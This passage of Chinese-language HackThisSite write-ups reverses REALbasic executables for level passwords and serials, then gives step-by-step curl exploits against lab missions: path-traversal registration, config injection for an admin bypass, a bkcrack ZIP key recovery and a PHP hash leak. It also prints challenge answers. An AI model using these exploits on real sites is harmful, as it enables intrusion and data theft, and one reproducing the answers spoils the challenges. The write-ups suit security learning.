  • 用户代码和字符链在文件 overlay 里:从 file 偏移 0x153800 开始,运行时映射到 VA 0x55E000。Ghidra 只把 PE 节区载入到 .reloc0x55d000 结束),overlay 不在映射范围,所以 analyzeHeadless + DecompileAll.java 跑完 0 个函数 —— 反编译器这条路对本题无效,必须直接扫 overlay 的指令模式。

Step 1: 扫 overlay 指令模式,重建字符链

字符链的形态是固定的 mov r32, imm32push r32call rel32,每次调用生成一个字符。按地址顺序把 immediate 读出来就是被拼出来的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
"""Rebuild run-time-built password strings from a Xojo/REALbasic native exe.

REALbasic never stores the level password as a plain string constant. It
builds it one character at a time at run time:

mov ecx, 73h ; 's'
push ecx
call StringDBCSChr ; -> "s"
; 每个字符重复 mov/push/call 这三步
call RuntimeAddString ; append to the message

so the password is invisible to `strings`. This script finds the
`mov reg,imm32 ; push reg ; call rel32` idiom, groups call sites by call
target, and prints the immediate characters in address order for every
target fed printable bytes. The really long runs are the built strings.

usage: ./rebuild_schr.py <exe> [min_run_len]
"""
import struct
import sys
from collections import defaultdict


def load(path):
"""Return (image_base, sections, overlay_file_offset, overlay_bytes)."""
data = open(path, 'rb').read()
e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
assert data[e_lfanew:e_lfanew + 4] == b'PE\0\0'
coff = e_lfanew + 4
nsec = struct.unpack_from('<H', data, coff + 2)[0]
opt_size = struct.unpack_from('<H', data, coff + 16)[0]
opt = coff + 20
magic = struct.unpack_from('<H', data, opt)[0]
image_base = (struct.unpack_from('<I', data, opt + 28)[0] if magic == 0x10b
else struct.unpack_from('<Q', data, opt + 24)[0])
sec = opt + opt_size
sections = []
end = 0
for i in range(nsec):
s = sec + i * 40
name = data[s:s + 8].rstrip(b'\0').decode('latin1')
vsize, va, rawsize, rawptr = struct.unpack_from('<IIII', data, s + 8)
sections.append((name, image_base + va, vsize, rawptr, rawsize))
end = max(end, rawptr + rawsize)
# REALbasic appends its own object code + string table as a file overlay
return image_base, sections, end, data[end:]


def char_chains(overlay, base_va, gap=0x120):
# one chain element is ~0x9c bytes: mov imm32 + push + call SChr + setup +
# call RuntimeAddString, so the SChr sites of one string sit ~150 bytes apart
"""Find `mov r32,imm ; push r32 ; call rel32` sites and chain their chars."""
by_target = defaultdict(list)
i = 0
while True:
i = overlay.find(b'\xe8', i) # call rel32
if i < 0 or i + 5 > len(overlay):
break
if i >= 2 and 0x50 <= overlay[i - 1] <= 0x57: # push eax..edi
r = overlay[i - 1] - 0x50
if i >= 7 and overlay[i - 6] == 0xB8 + r: # mov reg, imm32
val = struct.unpack_from('<I', overlay, i - 5)[0]
if val <= 0xff:
rel = struct.unpack_from('<i', overlay, i + 1)[0]
by_target[i + 5 + rel].append((i - 6, val))
i += 1

# per-call-site thunks: every SChr call goes through its own stub, so the
# chain must be rebuilt from *all* char sites in address order, not grouped
# by call target.
all_sites = sorted(s for sites in by_target.values() for s in sites)
runs = []
cur, prev = [], None
for off, val in all_sites:
if prev is not None and off - prev > gap:
if cur:
runs.append((0, cur))
cur = []
cur.append((off, val))
prev = off
if cur:
runs.append((0, cur))
return runs


def main():
path = sys.argv[1]
min_len = int(sys.argv[2]) if len(sys.argv) > 2 else 8
image_base, sections, ov_off, overlay = load(path)
base_va = 0x55E000 # where REALbasic maps its overlay
print(f'[*] {path}')
print(f'[*] overlay at file 0x{ov_off:x}, {len(overlay)} bytes, mapped at 0x{base_va:x}')
for target, run in sorted(char_chains(overlay, base_va), key=lambda r: -len(r[1])):
if len(run) < min_len:
continue
s = ''.join(chr(v) for _, v in run)
print(f'\n=== run of {len(run)} chars -> {s!r} ===')
for off, val in run:
print(f' file {ov_off + off:#08x} overlay+{off:#06x} mov reg, {val:#04x} {chr(val)!r}')


if __name__ == '__main__':
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ cd <hts-workspace> && uv run python challenges/hts-app/rebuild_schr.py challenges/hts-app/app2/win/app2win.exe
[*] challenges/hts-app/app2/win/app2win.exe
[*] overlay at file 0x153800, 80323 bytes, mapped at 0x55e000

=== run of 10 chars -> 'liberation' ===
file 0x15d6e8 overlay+0x9ee8 mov reg, 0x6c 'l'
file 0x15d77f overlay+0x9f7f mov reg, 0x69 'i'
file 0x15d817 overlay+0xa017 mov reg, 0x62 'b'
file 0x15d8af overlay+0xa0af mov reg, 0x65 'e'
file 0x15d947 overlay+0xa147 mov reg, 0x72 'r'
file 0x15d9df overlay+0xa1df mov reg, 0x61 'a'
file 0x15da77 overlay+0xa277 mov reg, 0x74 't'
file 0x15db0f overlay+0xa30f mov reg, 0x69 'i'
file 0x15dba7 overlay+0xa3a7 mov reg, 0x6f 'o'
file 0x15dc3f overlay+0xa43f mov reg, 0x6e 'n'
liberation

Challenge

Find the password. (easy)

找出密码(easy)。

包内只有一个 app1win.exe(约 1.4 MB)。

Solution

Recon:

  • file app1win.exePE32 executable for MS Windows 4.00 (GUI), Intel i386;导入表里只有 MSVBVM60/KERNEL32 级别的系统 DLL,用户代码与字符串表不在节区里。
  • 这是 REALbasic(Xojo 前身) 原生编译的程序:它不把密码作为明文字符串常量保存,而是在运行时逐字符拼出来 —— mov reg, 0x73 / push reg / call StringDBCSChr 生成单字符,再 call RuntimeAddString 追加到消息串。所以 strings 搜不到密码本身,能搜到的只有格式串:
1
2
3
4
$ grep -a -o -E 'Contratulations[^\x00]{0,50}' app1win.exe
Contratulations! The password to this level is '
$ grep -a -o -E 'incorrect serial[^\x00]{0,30}' app1win.exe
incorrect serial number. Please re-enter.

Contratulations 的拼写错误来自原程序,不是我打错。)

  • 用户代码和字符链在文件 overlay 里:从 file 偏移 0x153800 开始,运行时映射到 VA 0x55E000。Ghidra 只把 PE 节区载入到 .reloc0x55d000 结束),overlay 不在映射范围,所以 analyzeHeadless + DecompileAll.java 跑完 0 个函数 —— 反编译器这条路对本题无效,必须直接扫 overlay 的指令模式。

Step 1: 扫 overlay 指令模式,重建字符链

字符链的形态是固定的 mov r32, imm32push r32call rel32,每次调用生成一个字符。按地址顺序把 immediate 读出来就是被拼出来的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
"""Rebuild run-time-built password strings from a Xojo/REALbasic native exe.

REALbasic never stores the level password as a plain string constant. It
builds it one character at a time at run time:

mov ecx, 73h ; 's'
push ecx
call StringDBCSChr ; -> "s"
; 每个字符重复 mov/push/call 这三步
call RuntimeAddString ; append to the message

so the password is invisible to `strings`. This script finds the
`mov reg,imm32 ; push reg ; call rel32` idiom, groups call sites by call
target, and prints the immediate characters in address order for every
target fed printable bytes. The really long runs are the built strings.

usage: ./rebuild_schr.py <exe> [min_run_len]
"""
import struct
import sys
from collections import defaultdict


def load(path):
"""Return (image_base, sections, overlay_file_offset, overlay_bytes)."""
data = open(path, 'rb').read()
e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
assert data[e_lfanew:e_lfanew + 4] == b'PE\0\0'
coff = e_lfanew + 4
nsec = struct.unpack_from('<H', data, coff + 2)[0]
opt_size = struct.unpack_from('<H', data, coff + 16)[0]
opt = coff + 20
magic = struct.unpack_from('<H', data, opt)[0]
image_base = (struct.unpack_from('<I', data, opt + 28)[0] if magic == 0x10b
else struct.unpack_from('<Q', data, opt + 24)[0])
sec = opt + opt_size
sections = []
end = 0
for i in range(nsec):
s = sec + i * 40
name = data[s:s + 8].rstrip(b'\0').decode('latin1')
vsize, va, rawsize, rawptr = struct.unpack_from('<IIII', data, s + 8)
sections.append((name, image_base + va, vsize, rawptr, rawsize))
end = max(end, rawptr + rawsize)
# REALbasic appends its own object code + string table as a file overlay
return image_base, sections, end, data[end:]


def char_chains(overlay, base_va, gap=0x120):
# one chain element is ~0x9c bytes: mov imm32 + push + call SChr + setup +
# call RuntimeAddString, so the SChr sites of one string sit ~150 bytes apart
"""Find `mov r32,imm ; push r32 ; call rel32` sites and chain their chars."""
by_target = defaultdict(list)
i = 0
while True:
i = overlay.find(b'\xe8', i) # call rel32
if i < 0 or i + 5 > len(overlay):
break
if i >= 2 and 0x50 <= overlay[i - 1] <= 0x57: # push eax..edi
r = overlay[i - 1] - 0x50
if i >= 7 and overlay[i - 6] == 0xB8 + r: # mov reg, imm32
val = struct.unpack_from('<I', overlay, i - 5)[0]
if val <= 0xff:
rel = struct.unpack_from('<i', overlay, i + 1)[0]
by_target[i + 5 + rel].append((i - 6, val))
i += 1

# per-call-site thunks: every SChr call goes through its own stub, so the
# chain must be rebuilt from *all* char sites in address order, not grouped
# by call target.
all_sites = sorted(s for sites in by_target.values() for s in sites)
runs = []
cur, prev = [], None
for off, val in all_sites:
if prev is not None and off - prev > gap:
if cur:
runs.append((0, cur))
cur = []
cur.append((off, val))
prev = off
if cur:
runs.append((0, cur))
return runs


def main():
path = sys.argv[1]
min_len = int(sys.argv[2]) if len(sys.argv) > 2 else 8
image_base, sections, ov_off, overlay = load(path)
base_va = 0x55E000 # where REALbasic maps its overlay
print(f'[*] {path}')
print(f'[*] overlay at file 0x{ov_off:x}, {len(overlay)} bytes, mapped at 0x{base_va:x}')
for target, run in sorted(char_chains(overlay, base_va), key=lambda r: -len(r[1])):
if len(run) < min_len:
continue
s = ''.join(chr(v) for _, v in run)
print(f'\n=== run of {len(run)} chars -> {s!r} ===')
for off, val in run:
print(f' file {ov_off + off:#08x} overlay+{off:#06x} mov reg, {val:#04x} {chr(val)!r}')


if __name__ == '__main__':
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cd <hts-workspace> && uv run python challenges/hts-app/rebuild_schr.py challenges/hts-app/app1/win/app1win.exe
[*] challenges/hts-app/app1/win/app1win.exe
[*] overlay at file 0x153800, 84840 bytes, mapped at 0x55e000

=== run of 13 chars -> 'smashthestate' ===
file 0x15a7f4 overlay+0x6ff4 mov reg, 0x73 's'
file 0x15a88b overlay+0x708b mov reg, 0x6d 'm'
file 0x15a923 overlay+0x7123 mov reg, 0x61 'a'
file 0x15a9bb overlay+0x71bb mov reg, 0x73 's'
file 0x15aa53 overlay+0x7253 mov reg, 0x68 'h'
file 0x15aaeb overlay+0x72eb mov reg, 0x74 't'
file 0x15ab83 overlay+0x7383 mov reg, 0x68 'h'
file 0x15ac1b overlay+0x741b mov reg, 0x65 'e'
file 0x15acb3 overlay+0x74b3 mov reg, 0x73 's'
file 0x15ad4b overlay+0x754b mov reg, 0x74 't'
file 0x15ade3 overlay+0x75e3 mov reg, 0x61 'a'
file 0x15ae7b overlay+0x767b mov reg, 0x74 't'
file 0x15af13 overlay+0x7713 mov reg, 0x65 'e'

Step 2: 合法 serial 与提示串

app1 是"输入 serial"型:程序用 dword 逐个比较输入的 serial,overlay 的串表里放着 6 个合法值(grep -a 直接可见):

1
2
3
4
5
6
7
$ grep -a -o -E '[0-9]{4}-[0-9]{4}-[0-9]{4}-[0-9]{4}' app1win.exe | sort -u
0130-1414-5624-1341
0138-4411-5902-2411
3810-1941-5861-5351
7692-3349-1914-4567
8361-9811-5511-8134
9484-2341-5696-5321
smashthestate

Challenge

One of your best friends has reason to believe that his girlfriend has been cheating on him. He thinks that she's been sending emails back and forth with this other guy, but he has no for sure proof. Now it's your turn to show him what a valuable friend you are!

目标是进 Simple Mail 的管理后台,读到 jenn@simplemail.com 的邮件。站点是 https://www.hackthissite.org/missions/realistic/16/,菜单里只有 Register / Login / Search / User Panel 这些常规模块。

Solution

Recon:

  • 首页源码里有一栏菜单被 HTML 注释掉:index.php?module=admin_login(Admin Login),是隐藏入口。
  • index.php?module=admin_login<object>/<embed> 引入 login.swf,登录判断全在 Flash 里,页面上没有表单。
  • 首页新闻有一条 "Registration Error":"we were having a problem with people registering who tried to use special characters in their name... it might take up to a week to fix. For now, we suggest sticking to just letters and numbers in your email address." —— 等于明说用户名没做过滤,特殊字符能进名字。

Step 1: 反编译 login.swf 看清认证信任链

1
2
3
4
5
6
7
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/login.swf" -o login.swf
$ file login.swf
login.swf: Macromedia Flash data (compressed), version 9
$ ffdec -export script sv_login login.swf
Exported script 45/45 /tmp/r16/sv_login/scripts/frame_1/DoAction.as, 00:00.007
Export finished. Total export time: 00:01.417

sv_login/scripts/frame_1/DoAction.as 里是核心逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
stop();
MENU = new ContextMenu();
MENU.hideBuiltInItems();
_root.menu = MENU;
_root.authed = "";
_root.auth_page = "";
_root.real_auth = "auth.php";

function WaitForData()
{
if(_root.auth_page != "" && _root.auth_page != null && _root.auth_page.length > 1)
{
_root.authed = "";
_root.real_auth = _root.auth_page;
_root.auth_page = "";
_root.onEnterFrame = function() { };
loadVariables(_root.real_auth + "?user=" + user.text + "&pass=" + pass.text, "");
_root.onEnterFrame = WaitForData2;
}
}

function WaitForData2()
{
if(_root.authed != "")
{
if(_root.authed == "true" || _root.authed == true)
{
_root.getURL("admin.php?auth=true&id=63a4bf12cd");
}
else
{
_root.getURL("admin.php?auth=false");
}
_root.onEnterFrame = function() { };
_root.authed = "";
}
}

btnLogin.onRelease = function()
{
loadVariables("config.txt", "");
_root.onEnterFrame = WaitForData;
};

推理链:点 Login → 先 loadVariables("config.txt") 读站点根目录的 config.txt → 从中取出 auth_page(默认 auth_page=auth.php)→ 再 loadVariables(auth_page + "?user=..&pass=..") → 从响应里取 authed → 若 authed == "true" 就跳 admin.php?auth=true&id=63a4bf12cd,否则 admin.php?auth=false

也就是说 认证去哪问、认不认,由 config.txt 决定config.txt 默认内容:

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/config.txt"
auth_page=auth.php

Step 2: 注册遍历用户名 ..,覆盖站点根 config.txt

注册表单字段是 username / curr_email / password1 / password2 / timezone,POST 到 register.php。用户资料路径形如 users/<username>/config.txt<username> 被直接拼进去且没有任何过滤。用户名填 ..

1
2
3
4
5
6
7
8
9
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
--data-urlencode 'username=..' \
--data-urlencode 'curr_email=attacker@localhost' \
--data-urlencode 'password1=pass1234' \
--data-urlencode 'password2=pass1234' \
--data-urlencode 'timezone=0' \
"https://www.hackthissite.org/missions/realistic/16/register.php"
HTTP/2 302
location: index.php?module=reg_success

跟到 reg_success

1
2
3
4
5
6
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/index.php?module=reg_success"
Logged in as: ..@simplemail.com
Warning: Unable to create email address "..@simplemail.com" on line 56
Notice: Username as created, however, the email address had problems registering with the system.
Registration was a success. You may procede to login.

邮箱没建成(.. 不是合法邮箱),但用户目录/配置路径已经建好了users/../config.txt 正好落在站点根目录,也就是管理员 Flash 读取的那个 config.txt。注册这一步就已经把它覆盖了,注册前 vs 注册后:

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/config.txt"
auth_page=auth.php
1
2
3
4
5
6
7
8
9
10
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/config.txt"
No Personal Message;
0;
attacker@localhost;

\\These is the user config file notes, anything with \\ in front is ignored
\\Line 1: Personal message
\\Line 2: Timezone
\\Line 3: Current Email

.. 账号登录(会话按来源记账,这个 mission 不发独立 cookie):

1
2
3
4
5
6
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
--data-urlencode 'username=..' \
--data-urlencode 'password=pass1234' \
"https://www.hackthissite.org/missions/realistic/16/login.php"
HTTP/2 302
location: index.php?module=logged_in

index.php?module=home 显示 Logged in as: ..@simplemail.com。编辑资料表单的字段是 message / curr_email / timezone,POST 到 edit.php。用户配置的第 1 行就是 personal message,把 payload 塞进 message

1
2
3
4
5
6
7
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
--data-urlencode 'message=auth_page=config.txt&authed=true&' \
--data-urlencode 'curr_email=attacker@localhost' \
--data-urlencode 'timezone=0' \
"https://www.hackthissite.org/missions/realistic/16/edit.php"
HTTP/2 302
location: index.php?module=edit_success

config.txt 变成:

1
2
3
4
5
6
7
8
auth_page=config.txt&authed=true&;
0;
attacker@localhost;

\\These is the user config file notes, anything with \\ in front is ignored
\\Line 1: Personal message
\\Line 2: Timezone
\\Line 3: Current Email

payload 的作用:把 auth_page 指回 config.txt 自己,并塞进 authed=true。末尾那个 & 是关键——它把后面的 ; 和其余各行从 authed 的值里切断(loadVariables& 分键值对,没有 & 的话 authed 会变成 true;\n0;\nattacker@localhost;...,不等于 "true")。

Step 3: 进入 Admin Panel

覆盖之前直接打后台,服务端会说配置对不上:

1
2
3
4
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/admin.php?auth=true&id=63a4bf12cd"
<b>Debug Mode Enabled:</b>
<br /><b>Server Error:</b> The return from the auth page listed in config.txt is not consistant with the authorization given by login.swf. The error has been logged.

admin.php 在服务端会重新读 config.txt 里的 auth_page 去核对。默认指向的 auth.php 无论传什么凭据都返回 false:

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/auth.php?user=..&pass=pass1234"
authed=false

auth_page 指到 config.txt(内容含 authed=true)之后,同一请求就放行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/admin.php?auth=true&id=63a4bf12cd"
<html>
<head>
<title>Simple Mail Admin Panel</title>
</head>
<body>
<center><b><big>Admin Panel</big></b></center>
<b>Review User's Email:</b>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" ...>
<param name="movie" value="check_email.swf" />
<embed src="check_email.swf" quality="high" ... />
</object>

面板右侧是 "Review User's Email",内嵌 check_email.swf

Step 4: 反编译 check_email.swf,拿到邮箱查询端点

1
2
3
4
5
6
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/check_email.swf" -o check_email.swf
$ file check_email.swf
check_email.swf: Macromedia Flash data (compressed), version 9
$ ffdec -export script sv_check check_email.swf
Export finished. Total export time: 00:00.869

sv_check/scripts/frame_1/DoAction.as

1
2
3
4
5
6
7
8
function CheckEmail(email)
{
check_enabled = false;
if(check_enabled)
{
loadVariables("./check_email.php?auth=true&id=63a4bf12cd&email=" + email,"");
}
}

按钮上的处理(frame_1/PlaceObject2_33_Button_3/CLIPACTIONRECORD onClipEvent(load).as):

1
2
3
4
5
6
7
onClipEvent(load){
function __f_click(eventObj)
{
_root.toplabel.text = "Check email script currently disabled for user privacy";
}
this.addEventListener("click",__f_click);
}

面板上点按钮只会改一行文案(check_enabled = false),但 SWF 里硬编码的服务端脚本 check_email.php?auth=true&id=63a4bf12cd&email=... 还在。

Attempt: 未覆盖 config.txt 时直接打 check_email.php(失败)

不经过 config.txt 覆盖,直接请求这个端点(带 cookie、带 auth=true&id=63a4bf12cd 全都一样):

1
2
3
4
5
6
7
8
9
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn%40simplemail.com"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>Unauthorized Entry</title>
</head><body>
<h1>Unauthorized Entry Attempt</h1>
<p>You have incorrectly attempted to login to administrative area using an incorrect username and or password. This attempt has been logged.</p>
</body></html>

auth=trueid=63a4bf12cd 只是客户端参数,服务端真正读的是 config.txt 指向的认证页——根因不修,端点永远回 Unauthorized。这就是覆盖 config.txt 必须在前的原因。

Step 5: 读取 jenn 的邮件并通关

覆盖 config.txt 之后,同一个端点直接返回通关页(响应正文里的关键行):

1
2
3
4
5
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn%40simplemail.com" \
-w '\n[HTTP %{http_code} size=%{size_download}]\n'
<center><div style="width:80%"><div class="dark-td"><h2>Mission 16</h2></div><div class="light-td">Mission 16 Accomplished! (Turns out the guy she was talking to was her brother)<br /></div></div></center>
[HTTP 200 size=14509]

Vulnerabilities

  • 用户名目录遍历 → 任意文件写<username> 直接拼进 users/<username>/config.txt 且无白名单,用户名 .. 让路径塌缩成站点根 config.txt;注册和编辑资料都写这个路径。
  • 认证决策读用户可写文件admin.phpconfig.txtauth_page 并据此核对,auth_page 指哪就信哪。payload 把 auth_page 指向 config.txt 自己并伪造 authed=true
  • 客户端泄露后台端点与固定 idlogin.swf / check_email.swf 硬编码 admin.php?auth=true&id=63a4bf12cdcheck_email.php?auth=true&id=63a4bf12cd,服务端只信请求里的 auth=true(实际来自 config 里的 authed),不校验会话。
  • "disabled" 只写在客户端:按钮禁用(check_enabled = false)纯前端,服务端脚本照常可调。

修复方向:用户名只允许白名单字符并在服务端规范化路径(拒绝 . / .. / 分隔符);认证配置与用户数据分目录,只从服务端不可写的位置读取;认证结果用服务端会话传递而不是可写文件;后台端点用会话鉴权,不信任请求参数里的 auth / id

Challenge

secuLas Ltd. is an industry leader in defense and special mission lasers. Somewhere behind the glossy corporate site there is a leaked backup and an internal area; get access to the "latest patents and developments" section and prove the credentials can be bypassed.

secuLas Ltd. 是一家国防/特种激光承包商。光鲜的企业站背后泄露了一份备份文件,内部管理区里有一个"最新专利与进展"查看器。目标是进入该区域,证明它的凭据校验可被绕过。

入口 /missions/realistic/15/ 是静态企业站(index.htm,4423 字节),导航只有 products.php / questions.php / imprint.php / jobs.php。全部页面源码里都没写链接,真正的突破点是站点根目录下一个没被引用的备份目录。

Solution

Recon:

  • 遍历所有页面源码,views 里找不到任何登录入口,但把常见目录名拼上去试的时候 /_backups_/ 返回 200 并列出 backup.zip —— 目录列表没关。
  • backup.zip 里的条目是 ZipCrypto(传统 PKZIP)加密的,但 ZIP 目录表可读,条目名和压缩后大小都暴露。其中 misc (files from different folders)/index.htm 正好是站点首页同名文件,可以拿去当已知明文。
  • 解出备份里的 shell.php / msgauth.php 源码后,所有漏洞都在源码里明摆着。

Step 1: 拿到泄露的备份

1
2
3
4
5
6
7
$ curl -s -o /dev/null -b "HackThisSite=<mission-cookie>" \
-w "%{http_code} %{size_download}B\n" \
"https://www.hackthissite.org/missions/realistic/15/_backups_/"
200 1138B

$ curl -s -O -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/15/_backups_/backup.zip"

(对照:把 _backups_ 换成 backup.zip 直连站点根目录返回 404,说明文件只在那个未引用的目录里。)

1
2
3
4
5
6
7
8
9
$ unzip -v backup.zip
Length Method Size Cmpr Date Time CRC-32 Name
0 Stored 0 0% 2004-12-09 04:55 00000000 internal_messages/
336 Defl:N 212 37% 2004-12-09 04:44 19438da1 internal_messages/msgshow.php
965 Defl:N 399 59% 2004-12-11 23:02 daaac094 internal_messages/msgauth.php
0 Stored 0 0% 2004-12-06 01:51 00000000 misc (files from different folders)/
4423 Defl:N 1245 72% 2004-12-05 01:41 2fc997cc misc (files from different folders)/index.htm
16860 Defl:N 6010 64% 2004-12-06 01:51 5f67992e misc (files from different folders)/shell.php
22584 7866 65% 6 files

Step 2: 已知明文攻击 (bkcrack)

ZipCrypto 的已知明文攻击只需要一段未加密的原文和它在密文里的对应关系。站点上的 index.htm 就是备份里那个同名文件,下载下来压缩,凑出和密文条目逐字节一致的 deflate 流即可。

1
2
3
4
$ curl -s -o index.htm -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/15/index.htm"
$ ls -l index.htm
-rw-r--r-- 1 <user> <user> 4423 ... index.htm

备份里该条目的压缩后大小是 1245 字节。逐一试 deflate 级别,级别 6 命中最接近的 1245 字节(plain6.zip),压缩流 CRC 与备份一致(2fc997cc):

1
2
3
4
$ zip -6 plain6.zip index.htm
$ unzip -v plain6.zip
Length Method Size Cmpr Date Time CRC-32 Name
4423 Defl:N 1245 72% 2026-09-11 15:36 2fc997cc index.htm

bkcrack 做攻击(-C 密文归档、-c 密文条目、-P 明文归档、-p 明文条目):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ./tools/bkcrack-1.8.1-Linux-x86_64/bkcrack \
-C backup.zip \
-c 'misc (files from different folders)/index.htm' \
-P plain6.zip \
-p index.htm \
-o 0
bkcrack 1.8.1 - 2025-10-25
[15:36:06] Z reduction using 1238 bytes of known plaintext
0.0 % (0 / 1238) ... 100.0 % (1238 / 1238)
[15:36:06] Attack on 7443 Z values at index 43
0.4 % (27 / 7443) ... 70.4 % (5238 / 7443)
Keys: f23a33d0 106331c0 6fd03c13
[15:36:06] Keys
f23a33d0 106331c0 6fd03c13

拿到三组内部 key f23a33d0 106331c0 6fd03c13。用 -D 生成整包解密的新归档(注意不是 -d-d 只解密单个条目的数据流,写不出可解压的归档):

1
2
3
4
5
6
7
8
9
10
11
12
$ ./tools/bkcrack-1.8.1-Linux-x86_64/bkcrack \
-C backup.zip -k f23a33d0 106331c0 6fd03c13 -D decrypted.zip
bkcrack 1.8.1 - 2025-10-25
[15:36:16] Writing decrypted archive data/decrypted.zip
100.0 % (6 / 6)

$ unzip -o decrypted.zip -d decrypted
$ find decrypted -type f
decrypted/internal_messages/msgshow.php
decrypted/internal_messages/msgauth.php
decrypted/misc (files from different folders)/index.htm
decrypted/misc (files from different folders)/shell.php

Step 3: 源码分析 —— msgauth.php 与 shell.php

internal_messages 目录里的两个文件构成一套内部留言认证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/* --- called by msgshow.php --- */
session_start();
if ($_SESSION['msgauth'][$msg_username] != "OK")
{
if (strlen($msg_username)==0 || strlen($msg_password)==0 || strlen($filename)==0)
die();
$msg_password = addcslashes($msg_password, ".[(*$^+\|");
$msg_username = addcslashes($msg_username, ".[(*$^+\|");
$fp = @fopen("files/" . $filename, "r");
if (!$fp) die();
while(!feof($fp) && $_SESSION['msgauth'][$msg_username] != "OK") {
$strLine = fgets($fp,200);
if (ereg($msg_username . ": " . $msg_password . "\r*\n*$", $strLine, $regs))
$_SESSION['msgauth'][$msg_username] = "OK";
}
fclose($fp);
if ($_SESSION['msgauth'][$msg_username] != "OK") die("wrong username/password!");
}
?>

两个问题:$filename 直接拼进 fopen("files/" . $filename) —— 路径穿越,可以读站点任意文件;同时凭据比对用的是 ereg()(用户输入当正则,只转义了 .[(*$^+\|? { } 等元字符没转义),既是正则注入又是子串匹配,只要目标文件里存在一行能被模式命中的文本就能通过。设计意图是让攻击者把 $filename 指到页面自身的 meta 标签。

shell.php(MyShell,seculas 版)的认证相关部分(两个 $shellPswd_* 在备份里已被打码):

1
2
3
4
5
$selfSecure = 1;
$shellUser_root = "root";
$shellPswd_root = "********************************"; // hash removed in this backup-file
$shellUser_others = "others";
$shellPswd_others = "********************************"; // hash removed in this backup-file

校验段与 401 分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$MyShellVersion =  "MyShell 1.1.0 build 20010923 ".$$PHP_AUTH_USER;
if($selfSecure){
if (!(($PHP_AUTH_USER==$shellUser_root && md5(md5($PHP_AUTH_PW))==$shellPswd_root ) ||
($PHP_AUTH_USER==$shellUser_others && md5(md5($PHP_AUTH_PW))==$shellPswd_others) )) {
Header('WWW-Authenticate: Basic realm="MyShell');
Header('HTTP/1.0 401 Unauthorized');
echo "<html>
<head>
<title>$MyShellVersion</title>
</head>
<h1>Access denied</h1>
a warning message with your user agent string<br><b>" .
$HTTP_SERVER_VARS["HTTP_USER_AGENT"] . "</b><br> has been sent to the administrator
<hr>
<em>modified $MyShellVersion</em>";
}
}

两点很关键:

  1. 密码用双重 MD5 存储:md5(md5($PHP_AUTH_PW))
  2. ".... ".$$PHP_AUTH_USER —— 这是一个变量变量(variable variable)。$$PHP_AUTH_USER 取的是名字等于 $PHP_AUTH_USER 值的那个变量。而 $MyShellVersion 在认证失败时会被回显到 401 页面上。所以只要用一个变量名当用户名去认证,服务器就会把那个变量的值打印出来。

用用户名 shellPswd_root 发一次注定失败的 Basic 请求:

1
2
3
4
5
$ curl -s -u 'shellPswd_root:wrongpass' -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" \
-o /dev/null -w "%{http_code}\n" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php"
401

响应体:

1
2
3
4
5
6
<title>MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</title>
</head>
<h1>Access denied</h1>
a warning message with your user agent string<br /><b>&lt;ua&gt;</b><br /> has been sent to the administrator
<hr>
<em>modified MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</em>

root 的双重 MD5 哈希 9e71fc2a99a71b722ead746b776b25ac 就这样漏了出来。反推:

1
2
3
4
5
6
7
8
import hashlib

